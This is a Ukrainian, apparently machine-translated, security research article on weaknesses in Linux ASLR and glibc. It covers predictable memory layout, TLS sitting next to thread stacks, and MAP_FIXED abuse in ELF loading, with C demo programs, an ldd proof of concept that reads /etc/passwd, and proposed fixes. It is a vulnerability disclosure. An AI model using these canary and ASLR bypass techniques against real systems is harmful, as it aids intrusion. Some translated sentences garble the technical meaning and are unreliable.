ASLR в Linux і GNU libc

aslr v linux i gnu libc42 ASLR в Linux і GNU libc

За час існування ядра Linux в ньому з’явилося безліч механізмів захисту від експлуатації вразливостей, які можуть виявитися як в самому ядрі, так і в додатках користувачів. Це, зокрема, механізми ASLR і stack canary, протидіючі експлуатації вразливостей в додатках. У даній статті ми уважно розглянемо реалізацію ASLR в ядрі поточної версії (4.15-rc1) і проблеми, що дозволяють частково або повністю обійти цей захист.

Разом з описом проблем ми запропонували ряд виправлень і розробили спеціальну утиліту, що дозволяє продемонструвати знайдені недоліки. Аналізуючи механізм реалізації ASLR, ми також проаналізували частина бібліотеки GNU Libc (glibc) і знайшли серйозні проблеми з реалізацією stack canary. Вдалося обійти захист stack canary і запустити довільний код через утиліту ldd.

Всі проблеми розглядаються в контексті архітектури x86-64, хоча для більшості архітектур, що підтримуються ядром Linux, вони також актуальні.

Зміст

  • ASLR
  • ASLR в Linux
  • Чому це так
  • Деталі алгоритму вибору адреси
  • Чому це погано
  • Близьке розташування пам’яті
  • Детермінований метод завантаження бібліотек
  • Детермінований порядок виконання
  • Дірки
  • TLS і стек потоку
  • Malloc і mmap
  • MAP_FIXED і завантаження ET_DYN ELF-файлів
  • Кеш виділеної пам’яті
  • Приклади
  • Стеки двох потоків
  • Mmap і glibc
  • Переповнення буфера на стеку дочірнього потоку
  • Стек потоку і буфер маленького розміру, виділений з допомогою malloc
  • Кеш стека і купи потоку
  • Обчислення карти адресного простору процесу
  • Вектори атак
  • Виправлення
  • Дірка в ld.so
  • Порядок завантаження сегментів ELF-файл
  • Врахування mmap_min_addr при пошуку адреси виділення mmap
  • Mmap
  • Тестування виправлень до ASLR
  • Висновок
  • ASLR

    ASLR (address space layout randomization) — це технологія, створена для ускладнення експлуатації деякого класу вразливостей, застосовується в декількох сучасних операційних системах. Основний принцип цієї технології полягає в усуненні завідомо відомих атакуючому адрес адресного простору процесу. Зокрема, адрес, необхідних для того, щоб:

    • передати управління на виконуваний код;
    • побудувати ланцюжок ROP-гаджетів (Return Oriented Programming);
    • прочитати (перезаписати) важливі значення в пам’яті.

    Вперше технологія була реалізована для Linux в 2005 році. У Microsoft Windows і Mac OS реалізація з’явилася в 2007 році. Гарний опис реалізації ASLR в Linux дається в статті.

    За час існування ASLR були створені різні методики обходу цієї технології, серед яких можна виділити наступні типи:

    • «витоку адрес» — деякі уразливості дозволяють зловмисникові отримувати необхідні для атаки адреси, що і дає можливість обходити ASLR (Reed Hastings, Bob Joyce. Purify: Fast Detection of Memory Leaks and Access Errors);
    • відносна адресація — деякі уразливості дозволяють зловмисникові отримувати доступ до даних щодо якоїсь адреси і за рахунок цього обходити ASLR (Improper Restriction of Operations within the Bounds of a Memory Buffer);
    • слабкості реалізації — деякі уразливості дозволяють зловмиснику вгадати потрібні адреси з-за малої ентропії або властивостей конкретної реалізації ASLR (AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5%);
    • побічні ефекти роботи апаратури — особливості роботи процесора, що дозволяють обійти ASLR (Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR).

    Варто зазначити, що в різних ОС реалізації ASLR дуже сильно різняться і розвиваються. Останні зміни пов’язані з роботою Offset2lib, представленої в 2014 році. В ній були розкриті слабкості реалізації, що дозволяють обходити ASLR з-за близького розташування всіх бібліотек до образу бінарного ELF-файл програми. В якості рішення було запропоновано виділити образ ELF-файл програми в окремий випадковим чином виділений регіон.

    У квітні 2016 року творці Offset2lib розкритикували також поточну реалізацію, виділивши недостатню ентропію при виборі адреси регіону в роботі ASLR-NG. Однак з тих пір патч не був опублікований.

    Розглянемо результат роботи ASLR в Linux на поточний момент.

    ASLR в Linux

    Для початкового досвіду візьмемо Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-40-generic x86_64) з встановленими останніми на поточний момент оновленнями. Результат не сильно залежатиме від дистрибутива Linux версії ядра починаючи з 3.18-rc7. Якщо виконати less /proc/self/maps в командному рядку Linux, можна побачити приблизно наступне.

    aslr v linux i gnu libc43 ASLR в Linux і GNU libc

    На прикладі видно:

    • базовий адресу бінарного додатки (у нашому випадку /bin/less) обрано як 5627a82bf000;
    • адреса початку купи (heap) обрано як 5627aa2d4000, що є адреса кінця бінарного додатки плюс деяке випадкове значення, в нашому випадку дорівнює 1de7000 (5627aa2d4000 – 5627a84ed000). Адреса вирівняний на 2^12 архітектурних особливостей x86-64;
    • адреса 7f3631293000 обраний як mmap_base, адреса максимально можливо старшої кордоном при виборі «випадкового» адреси для будь-якого виділення пам’яті за допомогою системного виклику mmap;
    • бібліотеки ld-2.23.so, libtinfo.so.5.9, libc-2.23.so розташовані поспіль.

    Якщо застосувати віднімання до сусіднім регіонам пам’яті, можна помітити: істотна різниця між бінарним файлом, купою, стеком і молодшим адресою local-archive і старшим адресою ld. Між завантаженими бібліотеками (файлами) немає жодної вільної сторінки.

    Якщо повторити багато разів, картина сильно не зміниться: різниця між сторінками буде відрізнятися, однак бібліотеки та файли будуть однаково розташовані один щодо одного. Цей факт і став опорною точкою для даної статті.

    Чому це так

    Розглянемо, як працює механізм виділення віртуальної пам’яті процесу. Вся логіка знаходиться у функції ядра do_mmap, що реалізує виділення пам’яті як з боку користувача (syscall mmap), так і з боку ядра (при виконанні execve). Вона поділяється на дві дії — спочатку вибір вільного відповідного адреси (get_unmapped_area), потім відображення сторінок на вибраний адреса (mmap_region). Нам цікавий перший етап.

    У виборі адреси можливі варіанти:

    • Якщо виставлений прапор MAP_FIXED, то в якості адреси повернеться значення аргументу addr.
    • Якщо значення аргументу addr відмінно від нуля, воно використовується як «підказка», і в деяких випадках буде обрано саме це значення.
    • В якості адреси буде обраний найбільший адреса вільного регіону, відповідний по довжині і лежить в допустимому діапазоні обираних адрес.
    • Адреса перевіряється на обмеження, пов’язані з безпекою (до цього повернемося пізніше, розділ 7.3).

    Якщо все пройшло успішно, за вибраною адресою буде надано необхідний регіон пам’яті.

    Деталі алгоритму вибору адреси

    В основі менеджера віртуальної пам’яті процесу лежить структура vm_area_struct (далі просто vma):

    123456789101112 struct vm_area_struct { unsigned long vm_start; /* Our start address within vm_mm. */ unsigned long vm_end; /* The first byte after our end address within vm_mm. */ … /* linked list of VM areas per task, sorted by address */ struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; … pgprot_t vm_page_prot; /* Access permissions of this VMA. */ …};

    Ця структура описує початок регіону віртуальної пам’яті, кінець регіону і прапори доступу до вхідних в регіон сторінкам.

    vma організовані в двусвязный список (Doubly linked list) за зростанням адрес початку регіону. І в розширене червоно-чорне дерево (Bayer, Rudolf. Symmetric binary B-Trees: Data structure and maintenance algorithms), також за зростанням адрес початку регіону. Гарне обґрунтування цього рішення дається самими розробниками ядра (Lespinasse, Michel. Mm: use augmented rbtrees for finding unmapped areas).

    aslr v linux i gnu libc44 ASLR в Linux і GNU libcПриклад двусвязного списку vma в порядку зростання адрес

    Розширенням червоно-чорного дерева є величина вільної пам’яті для розглянутого вузла. Величина вільної пам’яті вузла визначається як максимум:

    • з різниці між початком поточного vma і кінцем її попередника у двусвязном списку за зростанням;
    • величини вільної пам’яті лівого піддерева;
    • величини вільної пам’яті правого піддерева.

    Обрана структура дозволяє швидко (за O(log n)) знаходити vma, відповідний шуканого адресою, або вибирати вільний діапазон певної довжини.

    При виборі адреси вводяться також дві важливі кордону — мінімально можливе нижнє значення і максимально можливе верхнє. Нижня визначається архітектурою як мінімальний допустимий адресу або як мінімальна дозволена адміністратором системи. Верхнє — mmap_base — вибирається як stack – random, де stack — це обраний максимальний адресу стека, random — деяке випадкове значення з ентропією від 28 до 32 біт у залежності від відповідних параметрів ядра. Ядро Linux не може вибрати адреса вище mmap_base. В адресному просторі процесу адреси, перевищують mmap_base, або відповідають початковому і спеціальним системним регіонах — vvar і vdso, або не використовуються ніколи, якщо тільки не будуть явно виділені з прапором MMAP_FIXED.

    aslr v linux i gnu libc45 ASLR в Linux і GNU libcПриклад розширеного червоно-чорного дерева vma

    У всій схемі невідомі адресу початку стека головного потоку, базовий адреса завантаження двійкового файлу програми, початковий адресу купи програми та mmap_base — стартовий адресу виділення пам’яті за допомогою mmap.

    Чому це погано

    Можна окреслити кілька проблем, які випливають з описаного алгоритму виділення пам’яті.

    Близьке розташування пам’яті

    Під час роботи програма використовує віртуальну оперативну пам’ять. Поширені приклади використання додатком пам’яті — це купа, код і дані.rodata, .bss) завантажених модулів, стеки потоків, подгруженные файли. Будь-яка помилка обробки даних, що лежать в цих сторінках, може торкнутися і прилеглі дані. Чим більше різнорідних сторінок знаходяться поруч, тим більше поверхня атаки і вище вірогідність успішної експлуатації.

    Приклади таких помилок — помилки з обробкою кордонів (out-of-bounds), переповнення (ціле число (Integer Overflow or Wraparound) або буфера (Classic Buffer Overflow), помилки обробки типів (Incorrect Type Conversion or Cast).

    Окремий випадок цієї проблеми — уразливість для Offset2lib-атаки. Коротко: проблема полягала в тому, що базовий адресу завантаження програми не виділявся окремо від бібліотек, а вибирався ядром як mmap_base. Якщо у програмі була вразливість, експлуатація спрощувалася близьким розташуванням образів завантажених бібліотек до образу завантаженого бінарного програми.

    Дуже гарним прикладом, що демонструє дану проблему, була уразливість в PHP (CVE-2014-9427), що дозволяє читати або змінювати сусідні регіони пам’яті.

    У розділі 5 буде кілька прикладів.

    Детермінований метод завантаження бібліотек

    Динамічні бібліотеки в ОС Linux завантажуються майже повністю без звернення до ядра Linux. За це відповідає бібліотека ld (з GNU Libc). Єдине участь ядра — через функцію mmap (open/stat та інші файлові операції ми поки не враховуємо): це потрібно для завантаження коду і даних бібліотеки в адресний простір процесу. Виняток становить сама бібліотека ld, яка зазвичай прописана в виконуваному ELF-файл програми як інтерпретатор для завантаження файлу. Сам же інтерпретатор вантажиться ядром.

    Отже, якщо в якості інтерпретатора використовується ld з GNU Libc, то відбувається завантаження бібліотек приблизно наступним чином:

  • В чергу оброблюваних файлів додається ELF-файл програми.
  • З черги оброблюваних файлів вилучається перший ELF-файл (FIFO).
  • Якщо файл ще не завантажений в адресний простір процесу, він вантажиться за допомогою mmap.
  • Кожна необхідна бібліотека для розглянутого файлу додається в чергу оброблюваних файлів.
  • Поки черга не порожня — слід повторювати пункт 2.
  • З цього алгоритму випливає, що порядок завантаження завжди визначений і може бути повторений, якщо відомі всі необхідні бібліотеки (їх бінарні файли). Це дозволяє відновити адреси всіх бібліотек, якщо відома адреса хоча б однієї з них:

  • Припустимо, відома адреса бібліотеки libc.
  • Додамо довжину бібліотеки libc адресою завантаження libc — і отримаємо адреса завантаження бібліотеки, завантаженої до libc.
  • Продовживши обчислення подібним чином, отримаємо значення mmap_base і адреси бібліотек, завантажених до libc.
  • Віднімемо з адреси libc довжину бібліотеки, завантаженої після libc. Отримаємо адресу бібліотеки, завантаженої після libc.
  • Продовживши обчислення подібним чином, отримаємо адреси всіх бібліотек, що завантажуються при старті програми з допомогою інтерпретатора ld.
  • Якщо бібліотека була завантажена під час роботи програми (наприклад, за допомогою функції dlopen), її становище щодо інших бібліотек може бути невідомим зловмиснику в деяких випадках. Наприклад, якщо були виклики mmap з невідомими зловмиснику розмірами виділяються регіонів пам’яті.

    При експлуатації вразливостей знання адрес бібліотек дуже сильно допомагає, наприклад в пошуку «гаджетів» при побудові ROP-ланцюжків. Крім того, будь-яка уразливість в будь бібліотек, що дозволяє читати (писати) значення щодо адреси цієї бібліотеки, буде легко проексплуатовано з-за того, що бібліотеки йдуть один за одним.

    Більшість дистрибутивів Linux містять скомпільовані пакети з найбільш поширеними бібліотеками (наприклад, libc). Завдяки цьому можна дізнатися довжину бібліотек і побудувати частина картини розподілу віртуального адресного простору процесу в описаному вище випадку.

    Теоретично можна побудувати велику базу, наприклад для дистрибутива Ubuntu, що містить версії бібліотек ld, libc, libpthread, libm і так далі, причому для кожної версії однієї з бібліотек можна визначити безліч версій бібліотек, для неї необхідних (залежності). Таким чином можна побудувати можливі варіанти карт розподілу частини адресного простору процесу при відомому адресу однієї з бібліотек.

    Прикладами подібних баз служать бази libcdb.com і libc.blukat.me, використовувані для визначення версій libc за зміщеннями до відомих функцій.

    З усього описаного випливає, що детермінований порядок завантаження бібліотек являє собою проблему безпеки додатків, і значення її збільшується разом з описаним раніше поведінкою mmap. В ОС Android ця проблема вирішується з 7-ї версії (Security Enhancements in Android 7.0, Implement Library Load Order Randomization).

    Детермінований порядок виконання

    Розглянемо наступне властивість програм: існує пара певних точок в потоці виконання програми, між якими стан програми у нас цікавлять даних визначено. Наприклад, коли клієнт з’єднується з мережним сервісом, останній виділяє для клієнта деякі ресурси. Частина цих ресурсів може бути виділена з купи програми. При цьому взаємне розташування об’єктів на купі визначено в більшості випадків.

    Це властивість використовується під час експлуатації додатків при побудові необхідного стану програми. Назвемо його детермінованим порядком виконання.

    Окремий випадок цієї властивості є деяка певна точка в потоці виконання програми, стан якої (точки) з початку виконання програми, від запуску до запуску, ідентичне за винятком окремих змінних. Наприклад, до виконання функції main програми інтерпретатор ld повинен завантажити і ініціалізувати всі бібліотеки і виконати ініціалізацію програми. Розташування бібліотек один відносно одного, як було зазначено у розділі 4.2, буде завжди однаковим. Відмінності на момент виконання функції main будуть в конкретних адресах завантаження програми, бібліотек, стека, купи та виділених до цього моменту в пам’яті об’єктів. Відмінності обумовлені рандомізацією, описаної в розділі 6.

    Завдяки цій властивості зловмисник може отримати інформацію про взаємне розташування даних програми. Це розташування не буде залежати від рандомізації адресного простору процесу.

    Єдина можлива на цьому етапі ентропія може бути обумовлена конкуренцією потоків: якщо програма створить декілька потоків, їх конкуренція при роботі з даними може вносити ентропію в розташування об’єктів. У розглянутому прикладі створення потоків до виконання main можливо з глобальних конструкторів програми або необхідних їй бібліотек.

    Коли програма почне використовувати купу і виділяти пам’ять у неї (зазвичай за допомогою new/malloc), розташування об’єктів у купі один щодо одного також до певного моменту буде постійним для кожного запуску.

    У деяких випадках розташування стеків потоків і куп, створених для них, буде також передбачено щодо адрес бібліотек.

    При необхідності можна отримати ці зміщення, щоб використовувати при експлуатації. Наприклад, виконавши strace -e mmap для даного додатка два рази і порівнявши різницю в адресах.

    Дірки

    Якщо додаток після виділення пам’яті через mmap звільняє деяку її частину, можуть з’являтися «дірки» — вільні регіони пам’яті, оточені зайнятими регіонами. Проблеми можуть виникнути, якщо ця пам’ять (дірка) знову виділена для вразливого об’єкта (об’єкта, при обробці якого в додатку є вразливість). Це знову приводить до проблеми близького розташування об’єктів в пам’яті.

    Хороший приклад створення таких дірок був виявлений в коді завантаження ELF-файл у ядрі Linux. Під час завантаження ELF-файл ядро спочатку зчитує повний розмір завантажуваного файлу і намагається відобразити файл за допомогою do_mmap. Після успішного завантаження файлу цілком вся пам’ять після першого сегмента звільняється. Всі наступні сегменти завантажуються за фіксованим адресою (MAP_FIXED), отриманого щодо першого сегмента. Це потрібно для того, щоб можна було завантажувати весь файл по вибраному адресу і розділити сегменти з прав і зміщень у відповідності з їх описами у ELF-файл. Такий підхід дозволяє породжувати дірки в пам’яті, якщо вони були визначені в ELF-файл між сегментами.

    При завантаженні ж ELF-файл інтерпретатором ld (GNU Libc) — в такій же ситуації — не викликає unmap, а змінює дозволу на вільні сторінки (дірки) на PROT_NONE, забезпечуючи тим самим заборону доступу процесу до цих сторінок. Цей підхід більш безпечний.

    Для усунення проблеми завантаження ELF-файл, що містить дірки, ядром Linux був запропонований патч, що реалізує логіку як у ld з GNU Libc (див. розділ 7.1).

    TLS і стек потоку

    TLS (Thread Local Storage) — це механізм, за допомогою якого кожен потік в багатопотоковому процесі може виділяти розташування для зберігання даних (Thread-Local Storage). Реалізація цього механізму різна для різних архітектур і операційних систем, у нашому ж випадку це реалізація glibc під x86-64. Для x86 різниця буде несуттєва для розглянутої проблематики mmap.

    У випадку з glibc для створення TLS потоку також використовується mmap. Це означає, що TLS потоку вибирається вже описаним чином і при близькому розташуванні до уразливого об’єкту може бути змінений.

    Чим цікавий TLS? У реалізації glibc на TLS вказує сегментний регістр fs (для архітектури x86-64). Його структуру описує тип tcbhead_t, визначений у вихідних файлах glibc:

    12345678910111213 typedef struct{ void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; …} tcbhead_t;

    Цей тип містить поле stack_guard, містить так звану «канарку» — деяке випадкове (або псевдовипадкове число, що дозволяє захищати додаток від переповнення буфера на стеку (One, Aleph. Smashing The Stack For Fun And Profit).

    Захист працює таким чином: при вході у функцію на стек кладеться «канарейка», яка береться з tcbhead_t.stack_guard. Наприкінці значення функції на стеку порівнюється з еталонним значенням у tcbhead_t.stack_guard, і, якщо воно не збігається, додаток буде виконано.

    Відомі наступні методи обходу:

    • якщо зловмисникові необов’язково перезаписувати це значення (Fritsch, Hagen. Buffer overflows on linux-x86-64);
    • якщо зловмисникові вдасться прочитати або передбачити це значення, у нього з’явиться можливість успішно провести атаку (там же);
    • якщо зловмисник може перезаписати це значення на відоме, він також отримає можливість успішно провести атаку переповнення буфера на стеку (там же);
    • якщо зловмисник може перехопити управління до того, як додаток буде завершено (Litchfield, David. Defeating the Stack Based Buffer Overflow Prevention).

    З описаного випливає важливість захисту TLS від читання або перезапису зловмисником.

    Під час даного дослідження була виявлена проблема в реалізації TLS у glibc для потоків, створених з допомогою pthread_create. Для нового потоку необхідно вибрати TLS. Glibc після виділення пам’яті під стек ініціалізує TLS в старших адресах цієї пам’яті. У даній архітектурі x86-64 стек росте вниз, а значить, TLS виявляється у вершині стека. Відступивши деяке константне значення від TLS, ми отримаємо значення, використовуване новим потоком для регістр стека. Відстань від TLS до стек кадру функції, переданої аргументом у pthread_create, менше однієї сторінки. Зловмиснику вже необов’язково вгадувати або «підглядати» значення «канарки», він просто може перезаписати еталонне значення разом зі значенням в стеку і обійти цей захист повністю. Подібна проблема була знайдена в Intel ME (Maxim Goryachy, Mark Ermolov. HOW TO HACK A TURNED-OFF COMPUTER OR RUNNING).

    Malloc і mmap

    При використанні malloc в деяких випадках glibc застосовує mmap для виділення нових ділянок пам’яті — якщо розмір запитуваної пам’яті більше деякої величини. У разі виділення пам’яті за допомогою mmap адресу після виділення буде перебувати поруч з бібліотеками або іншими даними, виділеними mmap. У цих випадках увагу зловмисника притягають помилки обробки об’єктів на купі, такі як переповнення купи, after use free і type confusion.

    Цікаве поведінку бібліотеки glibc було помічено, коли програма використовує pthread_create. При першому виклику malloc з потоку, створеного pthread_creaete, glibc викличе mmap, щоб створити нову купу для цього потоку. В цьому випадку всі виділені за допомогою malloc адреси в потоці будуть знаходитися недалеко від стека цього ж потоку. Детальніше цей випадок буде розглянутий у розділі 5.7.

    Деякі програми та бібліотеки використовують mmap для відображення файлів в адресний простір процесу. Ці файли можуть бути використані, наприклад, як кеш або для швидкого збереження (зміни) даних на диску.

    Абстрактний приклад: нехай додаток завантажує MP3-файл з допомогою mmap. Адреса завантаження назвемо mmap_mp3. Далі він зчитує з завантажених даних зміщення до початку звукових даних offset. Нехай у додатку присутня помилка перевірки довжини отриманого значення. Тоді зловмисник може підготувати спеціальним чином MP3-файл і отримати доступ до регіону пам’яті, розташованому після mmap_mp3.

    MAP_FIXED і завантаження ET_DYN ELF-файлів

    В мануалі mmap для прапора MAP_FIXED написано наступне:

    MAP_FIXED

    Don’t interpret addr as a hint: place at the mapping exactly address that. addr must be a multiple of the page size. If the memory region specified by addr and len overlaps pages of any existing mapping(s), then the overlapped part of the existing mapping(s) will be discarded. If the specified address cannot be used, mmap() will fail. Because requiring a fixed address for a mapping is less portable, the use of this option is discouraged.

    Якщо запитуваний регіон з прапором MAP_FIXED перекриває вже існуючі регіони, результат успішного виконання mmap перепише існуючі регіони.

    Таким чином, якщо програміст допускає помилку в роботі з MAP_FIXED, можливо перевизначення регіонів пам’яті.

    Цікавий приклад такої помилки був знайдений в контексті даної роботи як у ядрі Linux, так і в glibc.

    Є вимога до ELF-файлів: сегменти ELF-файл повинні слідувати в заголовку Phdr в порядку зростання адрес vaddr:

    PT_LOAD

    The array element specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the file are mapped to the beginning of the memory segment. If the segment’s memory size (p_memsz) is larger than the file size (p_filesz), the “extra” bytes are defined to hold the value 0 and to follow the segment’s initialized area. The file size may not be larger than the memory size. Loadable segment entries in the program table header appear in ascending order, sorted on the p_vaddr member.

    Однак ця вимога не перевіряється. Поточний код завантаження ELF-файлу така:

    1234567891011121314 case PT_LOAD: struct loadcmd *c = &loadcmds[nloadcmds++]; c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize)); c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize));…maplength = loadcmds[nloadcmds – 1].allocend – loadcmds[0].mapstart;…for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; c++)…/* Map the segment contents from the file. */if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart), maplen, c->prot, MAP_FIXED|MAP_COPY|MAP_FILE, fd, c->mapoff)

    Алгоритм обробки всіх сегментів наступний:

  • Обчислити розмір завантаженого ELF-файл як адреса закінчення останнього сегмента мінус адресу початку першого.
  • Виділити пам’ять з допомогою mmap для всього ELF-файл з обчисленим розміром, тим самим отримавши базовий адресу завантаження ELF-файл.
  • У випадку з glibc — змінити права доступу. У разі завантаження з ядра — звільнити регіони, утворюють дірки. У цьому пункті поведінка glibc і ядра Linux відрізняється, як було описано раніше в розділі 4.4.
  • Виділити пам’ять з допомогою mmap та виставленого прапора MAP_FIXED для всіх сегментів, що залишилися, використовуючи адресу, отриманий при виділенні першого сегмента, і додавши до нього зсув, що отримується з заголовка ELF-файл.
  • Це дає зловмиснику можливість зробити ELF-файл, один із сегментів якого може повністю змінити існуючий регіон пам’яті, наприклад стек потоку, купу або код бібліотеки.

    Прикладом уразливого програми може служити утиліта ldd, за допомогою якої перевіряється наявність у системі необхідних бібліотек. Утиліта використовує інтерпретатор ld. Завдяки знайденої проблеми з завантаженням ELF-файлів вдалося виконати довільний код, використовуючи ldd:

    1234567891011 blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./mainroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinblackzert@crasher:~/aslur/tests/evil_elf$

    В даному випадку був прочитаний файл /etc/passwd. Нормальний же запуск виглядає приблизно наступним чином:

    12345 blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main linux-vdso.so.1 => (0x00007ffc48545000) libevil.so => ./libevil.so (0x00007fbfaf53a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfaf14d000) /lib64/ld-linux-x86-64.so.2 (0x000055dda45e6000)

    В ознайомлювальних цілях вихідний код цього прикладу наводиться в папці evil_elf.

    Питання про MAP_FIXED також було піднято в співтоваристві Linux (Hocko, Michal. mm: introduce MAP_FIXED_SAFE), проте на даний момент запропонований патч не прийнятий.

    Кеш виділеної пам’яті

    В glibc також існує безліч різних кешей, серед яких є два найбільш цікавих в контексті ASLR — кеш для стека створюваного потоку і кеш для купи. Кеш для стеку працює наступним чином: після завершення потоку пам’ять стека не буде звільнена, а буде поміщена у відповідний кеш. При створенні стеку потоку glibc спочатку перевіряє кеш і, якщо в ньому є регіон необхідної довжини, використовує цей регіон. У цьому разі звернення до mmap не буде і новий потік буде використовувати раніше використовуваний регіон, який має ті ж самі адреси. Якщо зловмисникові вдалося отримати адресу стека потоку і він може контролювати створення і видалення потоків програмою, то він може використовувати отримане знання адреси для експлуатації відповідної уразливості. Крім того, якщо додаток містить неініціалізовані змінні, їх значення також можуть бути підконтрольні зловмиснику, що в деяких випадках може призводити до експлуатації.

    Кеш для купи потоку працює наступним чином: після завершення потоку створена для нього купа відправляється у відповідний кеш. При наступному створення купи для нового потоку спочатку перевіряється кеш, і, якщо в ньому є регіон, він буде використаний. Тоді також все сказане справедливо для стека.

    Приклади

    Можливо, mmap використовується і в інших випадках. А значить, виявлена проблема призводить до цілого класу потенційно уразливих додатків.

    Можна виділити кілька прикладів, що наочно показують знайдені проблеми.

    Стеки двох потоків

    В даному прикладі створимо два потоку з допомогою pthread_create і порахуємо різницю між локальними змінними обох потоків. Вихідний код:

    12345678910111213141516171819202122232425262728 int * p_a = 0;int * p_b = 0;void *first(void *x){ int a = (int)x; p_a = &a; sleep(1); return 0;}void *second(void *x){ int b = (int)x; p_b = &b; sleep(1); return 0;}int main(){ pthread_t one, two; pthread_create(&one, NULL, &first, 0); pthread_create(&two, NULL, &second, 0); void *val; pthread_join(one,&val); pthread_join(two, &val); printf(“Diff: 0x%xn”, (unsigned long)p_a – (unsigned long)p_b); printf(“first thread stack variable: %p second thread stack vairable: %pn”, p_a, p_b); return 0;}

    Висновок після першого запуску:

    123 blackzert@crasher:~/aslur/tests$ ./threads_stack_constantDiff: 0x801000first thread stack variable: 0x7facdf356f44 second thread stack vairable: 0x7facdeb55f44

    Висновок після другого запуску:

    123 blackzert@crasher:~/aslur/tests$ ./threads_stack_constantDiff: 0x801000first thread stack variable: 0x7f360cebef44 second thread stack vairable: 0x7f360c6bdf44

    Як видно, при різних адресах змінних різниця між ними залишається незмінною. У прикладі вона позначена словом Diff, самі ж значення адрес наводяться нижче. Даний приклад демонструє можливість впливу уразливого коду з стека одного потоку на інший потік або на будь сусідній регіон пам’яті — незалежно від роботи ASLR.

    Стек потоку і великий буфер, виділений з допомогою malloc

    Тепер в головному потоці додатки виділимо великий обсяг пам’яті через malloc і запустимо новий потік. Порахуємо різницю між адресою, отриманим malloc, та змінної в стеку створеного нового потоку. Вихідний код:

    12345678910111213141516171819 void *ptr;void * first(void *x){ int a = (int)x; int *p_a = &a; int pid = getpid(); printf(“Diff:%lxnmalloc: %p, stack: %pn”, (unsigned long long)ptr – (unsigned long long)p_a, ptr, p_a); return 0;} int main(){ pthread_t one; ptr = malloc(128 * 4096 * 4096 – 64); pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0;}

    Висновок після першого запуску:

    123 blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constantDiff:11ecmalloc: 0x7f4374ab2010, stack: 0x7f4374ab0e24

    Висновок після другого запуску:

    123 blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constantDiff:11ecmalloc: 0x7f9b00d4b010, stack: 0x7f9b00d49e24

    Знову ж таки, різниця незмінна. Даний приклад демонструє можливість впливу уразливого коду при обробці буфера з великим розміром байтів, виділеного через malloc, на стек створеного потоку — незалежно від роботи ASLR.

    Mmap і стек потоку

    Виділимо пам’ять з допомогою mmap і запустимо новий потік через pthread_create. Порахуємо різницю між адресою, виділеним через mmap, і адресою змінної в стеку створеного потоку. Вихідний код:

    1234567891011121314151617 void * first(void *x){ int a = (int)x; int *p_a = &a; void *ptr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); printf(“%lxn%p, %pn”, (unsigned long long)p_a – (unsigned long long)ptr, ptr, p_a); return 0;} int main(){ pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0;}

    Висновок після першого запуску:

    123 blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant87fff340x7f35b0e3d000, 0x7f35b963cf34

    Висновок після другого запуску:

    123 blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant87fff340x7f5a1083f000, 0x7f5a1903ef34

    Різниця незмінна. Даний приклад демонструє можливість впливу уразливого коду при обробці буфера, виділеного через mmap, на стек створеного потоку — незалежно від роботи ASLR.

    Mmap і TLS головного потоку

    Виділимо пам’ять з допомогою mmap і отримаємо адреса TLS головного потоку. Порахуємо різницю між цими адресами. Переконаємося, що значення «канарки» в стеку головного потоку збігається зі значенням з TLS. Вихідний код:

    123456789101112131415161718192021 int main(int argc, char **argv, char **envp){ int res; char buffer[256]; sprintf(buffer, “%.255s”,argv[0]); unsigned long * frame = __builtin_frame_address(0); unsigned long * tls; res = arch_prctl(ARCH_GET_FS, &tls); unsigned long * addr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; printf(“TLS %p , FRAME %pn”, tls, frame); printf(” stack cookie: 0x%lx, from tls 0x%lxn”, frame[-1], tls[5]); printf(“from mmap to TLS: 0x%lxn”, (char *)tls – (char*)addr); unsigned long diff = tls – addr; tcbhead_t *head = (tcbhead_t*)&addr[diff]; printf(“cookie from addr: 0x%lxn”, head->stack_guard); printf(“cookie == stack_cookie? %dn”, head->stack_guard == frame[-1]); return 0;}

    Висновок після першого запуску:

    123456 blackzert@crasher:~/aslur/tests$ ./mmap_tls_constantTLS 0x7f520540c700 , FRAME 0x7ffed15ba130 stack cookie: 0x94905ec857965c00, from tls 0x94905ec857965c00from mmap to TLS: 0x85c8700cookie from addr: 0x94905ec857965c00cookie == stack_cookie? true

    Висновок після другого запуску:

    123456 blackzert@crasher:~/aslur/tests$ ./mmap_tls_constantTLS 0x7f6d4a081700 , FRAME 0x7ffe8508a2f0 stack cookie: 0x51327792302d5300, from tls 0x51327792302d5300from mmap to TLS: 0x85c8700cookie from addr: 0x51327792302d5300cookie == stack_cookie? true

